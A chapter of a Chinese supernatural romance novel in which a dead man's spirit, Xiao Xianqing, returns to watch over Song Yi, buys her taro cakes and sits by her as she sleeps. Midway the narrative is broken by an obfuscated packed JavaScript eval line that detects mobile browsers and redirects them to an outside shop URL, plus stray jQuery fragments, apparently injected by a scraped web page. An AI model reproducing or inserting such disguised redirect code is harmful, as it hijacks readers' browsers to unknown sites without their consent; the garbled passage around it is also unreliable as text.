萧显清看着她的背影,心里一片翻涌。
三年前,他们约定好了要一同去瀚海府,可惜他失约了。
大概体验过活着是什么滋味,他也不想再被关在混沌之中。他死后在黑暗中漂浮着,漫无目的,也不知晓今夕是何夕,直到有一天他仿佛听到了召唤,突然从混沌中出来,看到了光和色彩,看到了他熟悉的、被他放在心上的人。
那时他情不自禁地走上前,为她捡起了那枚戒指,看着她震惊的眼神,才想起来自己是已死之人,无端出现大概率带来的是恐惧,他害怕的是她已经成婚,便也不愿打扰她的生活。
但得知她仍独自一人时,不知是心疼多一些还是庆幸多一些。他心里那些阴暗的情绪慢慢的滋生。
但无论如何,他想他能做到的最好的方式就是守在她的身边,为她清除一切麻烦。只要她安好,他愿意为了付出生命。
如今她要为了他涉险,他定然是不愿意的,但是他知道颂宜的坚持和大胆,也知道她不是一个别人说什么就会听的人,她太有自己的主见了。
她说她要去瀚海府,便一定会去的。
无奈,萧显清只好道:“你知道的,我不会让你一个人去的。”
颂宜这才转过身来,坐在榻上,但却不说话也不看萧显清,看她的这副姿态,便是让萧显清再递个台阶。
萧显清将刚刚的空茶杯倒了茶水,递到了颂宜的手边,见颂宜无动于衷以为是她不满意,便把杯子直接送到了嘴边。
以前他们也是这样的,他们的母亲带他们去踏青,玩到饿了的时候,便拿出准备好的糕点大快朵颐,糕点本身就干,颂宜吃得太快噎着了,萧显清便喂她水喝。
颂宜愣了一下,倒也没推拒便就这萧显清的手喝起了茶,这么多年除了萧显清没人还把她像孩童一样对待,连茶都要亲自喂。
她茶还没喝完,那边房门就被敲响了,是封律元,大概是看她房间太长时间没动静,便来找她。
她看向萧显清,只见萧显清摇摇头,便在她的眼前消失不见了。看来萧显清还没有做好在他人面前出现的准备。
颂宜给封律元开门,封律元疑惑道:“阿姐,准备这些东西是干嘛用的,和浑天十二卷有关系吗?”颂宜让乌飒去准备东西时,她什么也没说,他们一群人也不知颂宜要这些东西有什么用。
萧显清还不愿意被人知道他的存在,因此她肯定不能说这些器具和卷轴有关。
突然她灵光一闪,开口道:“我见那耳环太丑了,便想着照着书中说的那般,自己打一对好看的耳环。”
封律元大概是缺了些心眼的,也没多问,就说起他碰上的事儿。
“我方才去市集的时候碰上了承续侯家的仆人出来采买,言语间一副趾高气昂的样子,克扣摊主的银子,周围的人也不敢说什么,不知主人家知不知道他们这般做派。”
颂宜这才想起未到宛陵前,原是打算去拜访一下承续侯府的,给外祖和舅舅烧个香。“不知如今的这位承续侯为人如何,只是他与母亲的关系并不亲近,态度冷淡些也是正常的,我们去时不必太过在意这些。”
封律元点点头,“如此,我们先递帖子吧。”
“那便由弟弟你代笔吧。”颂宜说完就像浑身没骨头似的靠在榻上,封律元见状摇摇头退出了颂宜的房间。
颂宜还在回味封律元说的话,仆人在外都敢这么明目张胆的仗势欺人,周围的人也无人敢反抗,想来是主人家的放纵才会这般,她倒是也听过如今当家的这位舅舅一些传闻,大概都是说侯府的衰败与他脱不了干系。
“小四长大了。”
冷不丁地听到这一声,颂宜被吓了一跳,差点从榻上滚下来。
萧显清见状连忙上前把她捞了起来。他的身体温度比一般人的要高,颂宜还不大习惯,被烫的一惊。
萧显清把她抱回榻上,“你还是这般不小心。”
颂宜差点被气笑了,揪住他的衣襟,“还不是你突然说话,吓到我了,以后你必须先现身再说话,不许吓我。”她一贯的霸道,从小就爱指使萧显清干这干那。
萧显清仿佛也习惯了,打算起身时颂宜还拉着他的衣襟,他便顺势坐在了她的身旁。
两个人如此的近距离,颂宜都能看清他身上这件袍服的纹路,却也觉得奇怪,他离开时穿的好像是一件玄色袍服,如今怎么成了月白色的呢?难道还换过衣裳?
“你回来后自己买过衣裳吗?”
萧显清摇摇头,他也不知道这件衣服哪来的,他死前穿的并非这件,醒来后便是了。
颂宜点点头,“有些饿了,想吃松糕。”她摸了摸肚子,萧显清听了从榻上起来,“我去买。”
说着又在颂宜面前隐了身,不见踪影。颂宜拍了拍自己的脸,隐隐就要睡着,昨夜一夜未睡,她现下心里仿佛重担落下,困得不行,但又怕这一切都是在做梦,强撑着不敢入睡,只好拿起一旁的书打发时间。
她刚拿起书,萧显清就出现在她面前,有些尴尬地挠挠头,“我身上没有银钱。”颂宜这才想起来,拿了几锭银子和银票给他。
待确认萧显清出去后才笑了出声,她从未见过萧显清这般局促的样子,曾经的他哪会因为银钱有这样窘迫的时刻。
想到这又是一声叹气,短短三年的时间却早已物是人非,也不知前路如何,但无论怎样,这次有萧显清站在她的身旁,她想她一定能替他讨回一个说法。
颂宜等的都快饿过劲儿了,萧显清才提着大包小包的回来。
除了松糕,还有她爱吃的各种吃食,“没想到温陵特色的芋头饼在宛陵也能吃到。”
“那摊主恰是温陵人,正好要收摊了我就、便把剩下的都买了。”颂宜一看起码有二十多个的芋头饼,还有其他的吃食,只留下两人的分量,便把剩下的拿给青竹和白叶,让他们分给大家,封律元和乌飒也爱吃芋头饼,颂宜叮嘱青竹多给他俩多分些。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717261|144788||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
白叶把东西接了过来转身就要走,青竹疑惑道:“小姐是何时出去的,我怎么没瞧见呢?”
颂宜找了个幌子搪塞了过去,差点儿就露馅了。
颂宜把房门关上,坐到了榻上,萧显清已经把吃食都摆好了,就等颂宜过来。
她拿起一块芋头饼咬了一口,表面酥脆内里却是芋头捣成的泥,绵密化口,做得相当好吃。不一会儿一块饼就吃完了,正到她要拿第二块时,却发现萧显清什么也不吃,只是盯着她看。
“你怎么不吃呢,这芋头饼真的很好吃,比起温陵的也不差,你没有吃过温陵的,等哪日我们再回温陵时,我带你去吃。”
萧显清点点头,他醒来后感觉不到饿,眼下见颂宜吃得那么香,也拿起一个尝尝。
“对了,你没有银钱,那这么多天是怎么用饭呢?”萧显清这才把他感觉不到饿这件事告诉颂宜。
竟是这般。
颂宜突然想起一件事儿,她不知道那只耳环能让萧显清撑多久,消耗完耳环,他是不是就又要消散了。
她拿来第八卷一看,上面并没有写着相关的内容,剩下的那几卷她都背熟了,却也没想起哪里写过关于时间的问题。
她为了试一试,一开始还没敢用太重的金锭,她和萧显清有关联的金物不算多,都是他送的头面、金锭,还有一些儿时给她玩的小金豆。
关于他之后生活的问题,她有太多的疑惑了,可是这些都没有记载,眼下也只能走一步看一步了,看看那浑天十二卷最后一卷有没有说。
也不知是不是心中高兴,她比平日的食量大了许多,几乎把萧显清的那一份也吃了。吃完后她却有些头晕,想来是昨晚没睡的后果。
萧显清看出她的不舒服,“怎么了?”
颂宜揉了揉脑袋,“昨晚整夜没睡有些头晕。”
“如此便快快休息一会儿。”萧显清拉着她往床榻走,等她躺下后就要走。
颂宜拉住他的袖子问道:“你要去哪儿?”
萧显清失笑,“哪儿也不去,就在房间里。”
颂宜这才放开,“那你便看着我睡,我怕我在做梦,一醒来你又不见了。”她儿时害怕,也是让萧显清这般看着她睡的,他在身边能让她安心许多。
萧显清感受到颂宜言语之间的担忧,便搬了张矮几坐在榻前,“睡吧。”又替她把被子盖好。
颂宜这才安心的闭上眼,压不过身体的睡意袭来,不过几息就传来了舒缓的呼吸声。
萧显清看着颂宜的脸,一遍遍的用眼神将她的五官勾勒出来,她的眼睛是圆圆的杏眼,眼尾微微上挑,浅色的瞳孔像异域狸奴的眼睛,鼻梁挺翘鼻头却十分秀气,饱满的嘴唇构成了一张完美无瑕的脸。
她的美貌比起三年前更盛,只是再见时眉眼像是有一团雾气一般,浓浓的哀伤挂在眉眼间久久不散,整个人也更加的清瘦了,今日她抱他时,感觉到她现下形销骨立,有种易碎感,不如以前那么康健了。